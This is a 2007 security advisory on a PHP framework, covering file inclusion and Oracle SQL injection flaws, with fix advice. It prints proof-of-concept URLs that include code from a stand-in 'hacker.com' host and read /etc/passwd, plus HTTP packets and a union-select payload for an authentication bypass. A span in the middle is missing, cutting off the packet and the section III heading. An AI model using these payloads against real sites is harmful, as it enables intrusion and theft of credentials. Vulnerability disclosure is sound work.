|
Title: PHP Security Framework (Beta 1)=0D
Multiple Vulnerabilities and Security Bypass=0D
=0D
Vendor: http://benjilenoob.66ghz.com/projects/=0D
=0D
Advisory: http://acid-root.new.fr/?0:16=0D
Author: DarkFig < gmdarkfig (at) gmail (dot) com >=0D
=0D
Released on: 2007/12/16=0D
Changelog: 2007/12/16=0D
=0D
Summary: [HT] Remote File Inclusion=0D
[MT] SQL Injection=0D
[MT] SQL Injection Protection Bypass=0D
[__] Conclusion=0D
=0D
Legend: L - Low risk M - Medium risk=0D
H - High risk T - Tested=0D
=0D
Risk level: High=0D
CVE: ----------=0D
=0D
=0D
=0D
I - REMOTE FILE INCLUSION=0D
=0D
The file "lib/base.inc.php" contains the following code:=0D
=0D
10| include_once("$MODEL_DIR/FrameworkPage.class.php");=0D
15| include_once("$COMMON_DIR/adodb/adodb-active-record.inc.php");=0D
26| include_once("$DAO_DIR/Administrator.class.php");=0D
35| include_once("$LOGIC_DIR/AdministratorLogic.class.php");=0D
=0D
As you can see, all variables aren't sanatized before=0D
being used. So this can lead to RFI if the php directives=0D
allow_url_fopen and allow_url_include are set to On. This=0D
can also lead to LFI if the php directive magic_quotes_gpc=0D
is set to Off.=0D
=0D
Proof Of Concept:=0D
http://localhost/PSF/lib/base.inc.php?MODEL_DIR=http://hacker.com/=0D
http://localhost/PSF/lib/base.inc.php?DAO_DIR=/etc/passwd%00=0D
=0D
The author shouldn't use variables for the inclusions, the=0D
best way to protect against this type of vulnerability is=0D
to use constants because they can't be registered by=0D
register_globals if they're properly defined (no variables=0D
used).=0D
=0D
=0D
=0D
II - SQL INJECTION=0D
=0D
The script supports several server databases, Oracle=0D
included. So the script must also be secured for this type=0D
of server database.=0D
=0D
In a recent research that I have done, I found that=0D
60% of the PHP scripts which support Oracle aren't safe !=0D
People think that if they use the function addslashes()=0D
on a string which has quotes, they'll be secured=0D
against SQL Injection. On MySQL that's roughly true, but=0D
on Oracle that's wrong.=0D
=0D
The escape character for MySQL is a backslashes, \x92[\].=0D
The escape character for Oracle is a single quote, \x39['].=0D
=0D
The script has a user interface for the administrators.=0D
The file "lib/control/AuthentificationController.class.php"=0D
contains the following code:=0D
=0D
4| public function __construct()=0D
5| {=0D
6| $FrameworkPage = FrameworkPage::getInstance();=0D
7| $FrameworkPage->setHeadTitle("Authenfication Form");=0D
8| $FrameworkPage->setPageTitle("PHPSecurityFramework");=0D
9| =0D
10| if(isset($_REQUEST['username']) && isset($_REQUEST['password']))=0D
11| $this->Login($_REQUEST['username'], $_REQUEST['password']);=0D
12| }=0D
13| =0D
14| public function Login($username, $password)=0D
15| {=0D
16| $username = addslashes($username);=0D
17| $password = md5($password);=0D
18| $AdministratorLogic = new AdministratorLogic();=0D
19| =0D
20| if($AdministratorLogic->validateAdministrator($username,$password))=0D
22| session_register('psf_admin');=0D
=0D
The function addslashes() is applied to $username, after=0D
the function valideAdministrator() is called with two=0D
parameters. This function contains the following code:=0D
=0D
10| public function validateAdministrator($username, $password)=0D
11| {=0D
12| if(is_string($username) && is_string($password))=0D
13| {=0D
14| $Admin = new Administrator();=0D
15| =0D
16| if( ($Admin->load("username=?", array($username))) !==false)=0D
17| {=0D
18| if($Admin->md5password==$password)=0D
19| return true;=0D
=0D
The code for the Administrator class is situated in the=0D
file "lib/dao/Administrator.class.php":=0D
=0D
2| class Administrator extends ADOdb_Active_Record=0D
3| {=0D
4| public $_table = 'psf_administrator';=0D
5| }=0D
=0D
The function load() contains this code (situated in=0D
"lib/common/adodb/adodb-active-record.inc.php"):=0D
=0D
384| function Load($where,$bindarr=false)=0D
385| {=0D
386| $db =& $this->DB(); if (!$db) return false;=0D
387| $this->_where = $where;=0D
388| =0D
389| $save = $db->SetFetchMode(ADODB_FETCH_NUM);=0D
390| $row = $db->GetRow("select * from ".$this->_table.' WHERE '.$where,$bindarr);=0D
391| $db->SetFetchMode($save);=0D
392| =0D
393| return $this->Set($row);=0D
394| }=0D
=0D
I will take an example to explain how it works.=0D
Let's send this HTTP packet:=0D
=0D
POST /PSF/index.php?page=authentification HTTP/1.1\r\n=0D
Host: localhost\r\n=0D
Connection: keep-alive\r\n=0D
Content-Type: application/x-www-form-urlencoded\r\n=0D
Content-Length: 66\r\n\r\n=0D
username=root%27&password=toor&page=authentification&button=Log+in\r\n\r\n=0D
=0D
The SQL request will be like this:=0D
select * from psf_administrator WHERE username='root\\\\\\\\\\\\\\\''=0D
=0D
If we're on MySQL there's no problem, but if we're on=0D
Oracle, this return an error: ORA-01756: quoted string=0D
not properly terminated. This can be exploited, for =0D
example if you want to bypass the authentification=0D
protection, send the following HTTP packet:=0D
=0D
POST /PSF/index.php?page=authentification HTTP/1.1\r\n=0D
Host: localhost\r\n=0D
Connection: keep-alive\r\n=0D
Content-Type: application/x-www-form-urlencoded\r\n=0D
Content-Length:
=0D
3| =0D
=0D
What if we try to send this content:=0D
?id=-1 union select username,password from client limit 1=0D
=0D
The protection is bypassed and the SQL Injection is=0D
exploited. If the author wanna apply his filter=0D
completely, he must use the function str_ireplace().=0D
=0D
=0D
=0D
IV - CONCLUSION=0D
=0D
The goal of the project is interesting, but how it was=0D
made, can't conduct to its success. For example,=0D
SQL Injections with quotes are protected by doing the=0D
same thing as magic_quotes_gpc, this didn't resolve its=0D
problems.=0D
=0D
Before doing something which depends on what the user=0D
has sent, we must analyze all data before using them.=0D
=0D
Applying a filter won't be enough, we must code=0D
an algorithm which protects perfectly against each type=0D
of attack, even if we have to replace basic functions.=0D
=0D
I hope this advisory will change the way this project=0D
is going on.